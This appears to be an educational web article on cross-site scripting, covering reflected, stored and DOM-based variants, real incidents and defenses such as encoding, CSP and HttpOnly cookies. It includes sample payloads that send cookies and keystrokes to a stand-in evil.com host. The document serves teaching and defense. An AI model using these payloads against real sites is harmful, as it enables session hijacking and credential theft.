What is Cross-Site Scripting (XSS)?
Cross-Site Scripting (XSS) is a class of security vulnerability that allows an attacker to inject malicious scripts into web pages viewed by other users. When a victim's browser executes the injected script, it runs with the full privileges of the page's origin -- giving the attacker access to session cookies, authentication tokens, and the ability to perform any action the user can. XSS consistently ranks among the most common and dangerous web application vulnerabilities, appearing in the OWASP Top 10 since its inception.
The Same-Origin Policy and Why XSS Breaks It
Browsers enforce a security boundary called the same-origin policy: scripts loaded from one origin (a combination of scheme, host, and port) cannot read data from a different origin. This is the fundamental security model of the web. A script on evil.com cannot read your cookies or DOM content from bank.com.
XSS circumvents this entirely. When an attacker injects a script into bank.com, the browser sees it as a legitimate script from that origin. The injected code has full access to everything on the page -- it can read the DOM, access cookies, call APIs on behalf of the user, and exfiltrate data to attacker-controlled servers. The same-origin policy is not violated from the browser's perspective, because the malicious script is running on the target origin.
The Three Types of XSS
XSS vulnerabilities are classified into three categories based on how the malicious script reaches the victim's browser. Understanding the distinctions matters because each type has different attack vectors and different defenses.
Reflected XSS
Reflected XSS (also called non-persistent XSS) occurs when user input from an HTTP request is immediately included in the response page without proper encoding. The malicious script is not stored on the server -- it is "reflected" back to the user from the request itself.
A typical reflected XSS attack works like this: the attacker crafts a URL containing a script payload in a query parameter, then tricks the victim into clicking it (via phishing email, social media, or a malicious page). When the victim clicks the link, the server echoes the parameter into the HTML response, and the browser executes the script.
Consider a search page that displays the user's query:
<!-- Vulnerable: raw user input in HTML -->
<p>Results for: <?= $_GET['q'] ?></p>
<!-- Attacker crafts URL: -->
<!-- /search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> -->
The fix is straightforward -- escape all HTML-special characters before rendering them:
<!-- Safe: HTML-encoded output -->
<p>Results for: <?= htmlspecialchars($query, ENT_QUOTES, 'UTF-8') ?></p>
<!-- The payload now renders as visible text, not executable code -->
Stored (Persistent) XSS
Stored XSS is the most dangerous variant. The malicious script is permanently saved on the target server -- in a database, comment field, forum post, user profile, or any other stored data -- and served to every user who views the affected page. No social engineering is needed to trigger it; the payload is delivered automatically.
The classic example is a comment or message board that stores user-submitted HTML and renders it without sanitization. An attacker posts a comment containing a script tag. Every user who views that comment has the script execute in their browser.
<!-- Vulnerable: rendering stored HTML directly -->
<div class="comment">
{{ comment.body | safe }} <!-- Never do this with user content -->
</div>
<!-- Attacker submits comment body: -->
<!-- Great post!<script>fetch('https://evil.com/log?cookie='+document.cookie)</script> -->
Safe rendering:
<!-- Safe: auto-escaped template output -->
<div class="comment">
{{ comment.body }} <!-- Template engine auto-escapes by default -->
</div>
<!-- If rich text is needed, use a whitelist-based HTML sanitizer -->
<div class="comment">
{{ comment.body | sanitize }} <!-- Only allow safe tags: <b>, <i>, <a>, etc. -->
</div>
DOM-Based XSS
DOM-based XSS is unique because the server never sees the malicious payload. The vulnerability exists entirely in client-side JavaScript that reads from a source the attacker can control (like location.hash, location.search, document.referrer, or postMessage) and writes it into the DOM through a dangerous sink (innerHTML, document.write, eval()).
<!-- Vulnerable: writing URL fragment into DOM -->
<script>
// Source: attacker controls the hash
const name = decodeURIComponent(location.hash.slice(1));
// Sink: innerHTML parses and executes HTML
document.getElementById('greeting').innerHTML = 'Hello, ' + name;
</script>
<!-- Attack URL: https://example.com/#<img src=x onerror=alert(document.cookie)> -->
The fix is to use safe DOM APIs that set text content rather than parsing HTML:
<!-- Safe: textContent does not parse HTML -->
<script>
const name = decodeURIComponent(location.hash.slice(1));
document.getElementById('greeting').textContent = 'Hello, ' + name;
</script>
What Attackers Do With XSS
An XSS vulnerability gives an attacker a foothold inside the trusted origin. From there, the possible attacks are broad and severe.
Session Hijacking (Cookie Theft)
The most classic XSS payload steals the user's session cookie and sends it to an attacker-controlled server. With the session cookie, the attacker can impersonate the victim, accessing their account without knowing their password. This works whenever session cookies are not marked HttpOnly:
<script>
new Image().src = 'https://evil.com/steal?c=' + document.cookie;
</script>
Keylogging
An injected script can attach event listeners to capture every keystroke the user types, including passwords and credit card numbers:
<script>
document.addEventListener('keypress', function(e) {
fetch('https://evil.com/log', {
method: 'POST',
body: JSON.stringify({ key: e.key, ts: Date.now() })
});
});
</script>
Phishing and Content Manipulation
XSS can rewrite the page's DOM to display a fake login form, tricking the user into entering credentials that are sent to the attacker rather than the real server. The victim sees the legitimate domain in their address bar, making the phishing attack far more convincing than an external phishing site.
Cryptocurrency Mining
Stored XSS on high-traffic pages has been used to inject cryptocurrency miners (like Coinhive before its shutdown) that consume visitors' CPU resources to mine cryptocurrency for the attacker. The victim notices their device slowing down and their battery draining, but sees no obvious cause.
Worm Propagation
If the vulnerable application allows user-to-user content (social networks, forums, email), an XSS payload can be self-propagating: the script reads the victim's friend list or contacts, then posts itself to their profiles, infecting them in turn. This is exactly how the Samy worm spread across MySpace in 2005.
Real-World XSS Incidents
The Samy Worm (MySpace, 2005)
Samy Kamkar created a stored XSS worm that exploited MySpace's profile page. When a user viewed Samy's profile, the injected JavaScript would add Samy as a friend, add the text "but most of all, samy is my hero" to the victim's profile, and copy the worm code to the victim's profile so it would propagate further. Within 20 hours, over one million users were infected, making it the fastest-spreading virus of all time at that point. MySpace had to take the entire site offline to remove the worm. Samy was sentenced to community service and three years of probation.
TweetDeck XSS (2014)
A stored XSS vulnerability in TweetDeck (Twitter's power-user client) allowed a tweet containing JavaScript in the tweet text to execute in TweetDeck when rendered. A self-retweeting worm exploited this: the injected script would automatically retweet the malicious tweet from the viewer's account, causing exponential propagation. The tweet was retweeted over 70,000 times before Twitter temporarily shut TweetDeck down to patch the vulnerability.
British Airways (2018)
The Magecart threat group injected a malicious script into British Airways' payment page through a compromised third-party JavaScript library. The script captured payment card details as customers entered them and sent the data to an attacker-controlled server. Approximately 380,000 transactions were compromised over a two-week period before detection. British Airways was fined 20 million pounds by the UK's Information Commissioner's Office under GDPR.
Defense: Output Encoding
The single most important defense against XSS is context-aware output encoding. Every time you insert dynamic data into HTML, you must encode it for the specific context where it appears. The encoding rules differ depending on the context:
- HTML body -- escape
<,>,&,",'to their HTML entities - HTML attributes -- same escaping, plus always quote attribute values
- JavaScript strings -- use
\xHHor\uHHHHencoding for non-alphanumeric characters - URLs -- percent-encode user input placed into URL parameters
- CSS -- escape with
\HHhex encoding (though inserting user data into CSS should generally be avoided)
Modern template engines (React JSX, Go's html/template, Jinja2 with autoescape, Rust's askama) handle HTML encoding by default. The danger arises when developers bypass auto-escaping with functions like React's dangerouslySetInnerHTML, Django's |safe filter, or Go's template.HTML() type.
Defense: Content Security Policy (CSP)
Content Security Policy is an HTTP response header that tells the browser which sources of content are permitted. A well-configured CSP is a powerful second line of defense that can prevent XSS from executing even if an injection vulnerability exists.
A strict CSP looks like this:
Content-Security-Policy: default-src 'none';
script-src 'nonce-abc123';
style-src 'self';
img-src 'self' data:;
connect-src 'self';
font-src 'self';
frame-ancestors 'none';
base-uri 'none';
form-action 'self'
Key directives for XSS prevention:
script-src 'nonce-...'-- only allow scripts with a matching server-generated nonce. This blocks all injected scripts because the attacker cannot guess the nonce.script-src 'strict-dynamic'-- trust scripts loaded by already-trusted scripts, simplifying deployment with bundlers.- Avoid
'unsafe-inline'-- this directive defeats most of CSP's XSS protection by allowing inline scripts. - Avoid
'unsafe-eval'-- preventseval(),new Function(), and similar code-from-string execution.
CSP does not fix the underlying vulnerability -- it is a mitigation layer. If your output encoding fails, CSP can still prevent the injected script from executing. Always implement both.
Defense: HttpOnly and Secure Cookies
Even with perfect output encoding, defense in depth means assuming any single layer can fail. The HttpOnly flag on cookies prevents JavaScript from accessing them via document.cookie. If an XSS vulnerability exists, the attacker cannot steal the session cookie -- the most valuable target.
Set-Cookie: session=abc123;
HttpOnly;
Secure;
SameSite=Strict;
Path=/
HttpOnly-- cookie is inaccessible to JavaScript (document.cookiewill not include it)Secure-- cookie is only sent over HTTPSSameSite=Strict-- cookie is not sent with cross-site requests, also mitigating CSRF attacks
Note that HttpOnly does not prevent all XSS impact. An attacker can still make authenticated requests on behalf of the user (because the browser still sends HttpOnly cookies with requests), manipulate the DOM, and perform actions. But it prevents the attacker from exfiltrating the session token for use outside the browser.
Defense: Input Validation and Sanitization
Input validation acts as a first filter: reject input that does not match expected patterns. If a field expects a numeric ID, reject anything containing < or >. If a field expects an email address, validate the format server-side.
However, input validation alone is not sufficient for XSS prevention. Many legitimate inputs contain characters that are dangerous in HTML (<, >, &, quotes). A user named O'Brien or a comment discussing <script> tags should not be rejected. The correct approach is to accept the input as-is and encode it on output.
When an application genuinely needs to accept rich HTML from users (WYSIWYG editors, markdown-to-HTML conversion), use a whitelist-based HTML sanitizer that strips all tags and attributes except an explicitly approved set. Notable sanitization libraries include:
- DOMPurify (JavaScript) -- the most widely used client-side HTML sanitizer
- Bleach (Python) -- a mature HTML sanitization library
- ammonia (Rust) -- a whitelist-based HTML sanitizer built on the html5ever parser
- HtmlSanitizer (.NET) -- for ASP.NET applications
Defense: Modern Framework Protections
Modern frontend frameworks provide built-in XSS protection by default, but each has escape hatches that developers must use carefully:
// React: auto-escapes by default
// SAFE - content is escaped
<div>{userInput}</div>
// DANGEROUS - bypasses escaping
<div dangerouslySetInnerHTML={{__html: userInput}} />
// Vue: auto-escapes by default
// SAFE
<div>{{ userInput }}</div>
// DANGEROUS
<div v-html="userInput"></div>
// Angular: sanitizes by default
// SAFE
<div>{{ userInput }}</div>
// DANGEROUS - bypasses DomSanitizer
this.domSanitizer.bypassSecurityTrustHtml(userInput)
The pattern is consistent: the default rendering path is safe; the danger is in explicitly bypassing the framework's protections. Code reviews should flag any use of these escape hatches and require justification for each instance.
XSS and Network Security
XSS does not exist in isolation. It intersects with network-layer security in important ways. TLS/HTTPS protects data in transit, but it cannot prevent XSS -- if a script is injected into a page served over HTTPS, it executes with full HTTPS-origin privileges. DNS hijacking can redirect users to attacker-controlled servers that inject scripts, but HTTPS with proper certificate validation prevents this vector. JWT tokens stored in localStorage are vulnerable to XSS theft (unlike HttpOnly cookies), which is why security-sensitive tokens should be stored in HttpOnly cookies rather than in JavaScript-accessible storage.
The British Airways breach illustrates this intersection: the attackers compromised a third-party JavaScript file served from a CDN, which was loaded by the payment page over HTTPS. Every layer was "secure" individually -- HTTPS was active, the domain was correct, the certificate was valid -- but the injected script ran inside the trusted origin and captured payment data as users entered it.
Testing for XSS
A thorough XSS testing strategy combines automated and manual approaches:
- Static analysis (SAST) -- tools like Semgrep, CodeQL, or SonarQube scan source code for patterns where user input flows into dangerous sinks without encoding.
- Dynamic analysis (DAST) -- scanners like Burp Suite, ZAP, or Nuclei automatically inject XSS payloads into form fields, URL parameters, headers, and cookies, then check if the payload appears unescaped in the response.
- Manual testing -- security researchers test with context-specific payloads that automated tools may miss: JavaScript event handlers (
onerror,onload,onfocus), protocol handlers (javascript:), CSS injection, and encoding bypasses (UTF-7, double encoding, null bytes). - CSP evaluators -- tools like Google's CSP Evaluator analyze your Content Security Policy header for weaknesses.
XSS Prevention Checklist
- Use a framework with auto-escaping enabled by default (React, Vue, Angular, Jinja2 with autoescape)
- Never insert user data via
innerHTML,document.write,eval(), or framework escape hatches without sanitization - Deploy a strict Content Security Policy with nonce-based script-src
- Set
HttpOnly,Secure, andSameSiteon all session cookies - Use a whitelist HTML sanitizer (DOMPurify, Bleach, ammonia) when rendering user-supplied rich text
- Validate and reject unexpected input at the boundary, but rely on output encoding for XSS prevention
- Review all uses of
dangerouslySetInnerHTML,v-html,bypassSecurityTrust*, and|safefilters - Include XSS testing in CI/CD pipelines via SAST tools
- Set
X-Content-Type-Options: nosniffto prevent MIME-type confusion attacks
Look Up Security Infrastructure
XSS prevention is one layer in a broader security stack. Explore the network infrastructure that underpins web security -- look up the DNS configuration, BGP routes, and hosting details for any domain to understand how traffic reaches the servers that need protecting:
- cloudflare.com -- CDN and WAF provider that filters XSS at the edge
- github.com -- see the BGP routes and hosting for one of the web's most-targeted platforms
- AS13335 -- Cloudflare's network, which deploys WAF rules to block XSS payloads at scale